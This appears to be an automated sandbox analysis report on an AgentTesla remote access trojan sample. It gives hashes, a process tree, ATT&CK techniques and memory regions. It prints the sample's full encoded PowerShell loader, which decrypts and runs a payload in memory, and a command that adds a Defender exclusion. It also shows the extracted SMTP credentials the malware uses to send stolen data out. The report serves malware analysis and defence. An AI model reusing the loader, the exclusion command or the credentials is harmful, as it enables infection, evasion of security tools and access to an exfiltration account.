Analysis

  • max time kernel
    132s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:07

General

  • Target

    230cdd39e3e80f708c62b9742f83bca9345b0c49732b067633b8409e248bde0a.exe

  • Size

    1.0MB

  • MD5

    0bfde25a39f983c58a94d6ad2d95181e

  • SHA1

    020285c7a771bb2f5e81badf92b558ae97932348

  • SHA256

    230cdd39e3e80f708c62b9742f83bca9345b0c49732b067633b8409e248bde0a

  • SHA512

    a864bdbfcdb55f6f574ca37a7d57a43ce382044dffc5eca7f1e87f79a97776f4fb9e9b984a4ad001ca4aa1fb851f45531fb22d2a0b62f4fb157a42bbe6152bc0

  • SSDEEP

    24576:a/rEUhxLdtH9iIFaqo8kVG8QBi2oMnWldVvyKy:azvdcIFaG8//MUyf

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.privateemail.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    alibabawork@123

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\230cdd39e3e80f708c62b9742f83bca9345b0c49732b067633b8409e248bde0a.exe
    "C:\Users\Admin\AppData\Local\Temp\230cdd39e3e80f708c62b9742f83bca9345b0c49732b067633b8409e248bde0a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEIAMwAsACAAMAB4ADkAMAAsACAAMAB4ADYARgAsACAAMAB4AEEAMAAsACAAMAB4AEQAOAAsACAAMAB4ADYAMwAsACAAMAB4AEQAMgAsACAAMAB4AEEANgAsACAAMAB4AEUAMwAsACAAMAB4ADQARAAsACAAMAB4ADYANwAsACAAMAB4AEYANwAsACAAMAB4ADUAMAAsACAAMAB4ADUAOQAsACAAMAB4ADYANAAsACAAMAB4AEYAMgAsACAAMAB4ADEANQAsACAAMAB4ADYAOAAsACAAMAB4ADgARgAsACAAMAB4AEUANQAsACAAMAB4AEYAMwAsACAAMAB4AEEANQAsACAAMAB4AEEAMQAsACAAMAB4ADcAMwAsACAAMAB4ADEARgAsACAAMAB4ADYAQgAsACAAMAB4ADMAMgAsACAAMAB4ADIANgAsACAAMAB4ADgARgAsACAAMAB4ADIARQAsACAAMAB4ADMAOAAsACAAMAB4ADUANgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA5ADQALAAgADAAeABGAEYALAAgADAAeABBADEALAAgADAAeAA0ADQALAAgADAAeAA4AEEALAAgADAAeAA3AEUALAAgADAAeABGADcALAAgADAAeAA5AEEALAAgADAAeABDADIALAAgADAAeAAzADgALAAgADAAeAAyAEUALAAgADAAeABGADEALAAgADAAeAA0ADYALAAgADAAeABFAEUALAAgADAAeABGAEEALAAgADAAeAAwAEMAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • UAC bypass
      • Windows security bypass
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\230cdd39e3e80f708c62b9742f83bca9345b0c49732b067633b8409e248bde0a.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2144
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
        3⤵
          PID:4416
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          3⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1956
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          3⤵
            PID:628

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Privilege Escalation

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Defense Evasion

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Impair Defenses

      2
      T1562

      Disable or Modify Tools

      2
      T1562.001

      Modify Registry

      3
      T1112

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vochmuk0.ctn.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\file-29140.putik
        Filesize

        33KB

        MD5

        10f97ef3f035d5b8a83f74f0c3633797

        SHA1

        abd9f893e205fbbad8184e513d06e67a9642f651

        SHA256

        9702e4ea1ca9407c311a92252091f65f022a59c9261d712ab127ea667d331dc6

        SHA512

        5f7e69ace5466b60ddc0377651ab43790a321578bb015d014b2f753dcfeb9d2a88501ff5e2b6e6383fcf3f296c178ec74aef23dabe46ef75bc7b27431f8c2f2d

      • memory/1956-28-0x0000000000400000-0x0000000000444000-memory.dmp
        Filesize

        272KB

      • memory/1956-39-0x0000000007360000-0x000000000736A000-memory.dmp
        Filesize

        40KB

      • memory/1956-38-0x00000000073A0000-0x0000000007432000-memory.dmp
        Filesize

        584KB

      • memory/1956-37-0x0000000007260000-0x00000000072FC000-memory.dmp
        Filesize

        624KB

      • memory/1956-36-0x0000000007170000-0x00000000071C0000-memory.dmp
        Filesize

        320KB

      • memory/1956-32-0x0000000005B10000-0x0000000005B76000-memory.dmp
        Filesize

        408KB

      • memory/1956-29-0x0000000005F50000-0x00000000064F4000-memory.dmp
        Filesize

        5.6MB

      • memory/2144-17-0x00007FFF7AF00000-0x00007FFF7B9C1000-memory.dmp
        Filesize

        10.8MB

      • memory/2144-18-0x00007FFF7AF00000-0x00007FFF7B9C1000-memory.dmp
        Filesize

        10.8MB

      • memory/2144-33-0x00007FFF7AF00000-0x00007FFF7B9C1000-memory.dmp
        Filesize

        10.8MB

      • memory/4976-1-0x00007FFF7AF03000-0x00007FFF7AF05000-memory.dmp
        Filesize

        8KB

      • memory/4976-16-0x00000252E8CE0000-0x00000252E8D78000-memory.dmp
        Filesize

        608KB

      • memory/4976-34-0x00007FFF7AF00000-0x00007FFF7B9C1000-memory.dmp
        Filesize

        10.8MB

      • memory/4976-15-0x00000252CFBD0000-0x00000252CFBDC000-memory.dmp
        Filesize

        48KB

      • memory/4976-13-0x00007FFF7AF00000-0x00007FFF7B9C1000-memory.dmp
        Filesize

        10.8MB

      • memory/4976-12-0x00007FFF7AF00000-0x00007FFF7B9C1000-memory.dmp
        Filesize

        10.8MB

      • memory/4976-11-0x00000252E8A80000-0x00000252E8AA2000-memory.dmp
        Filesize

        136KB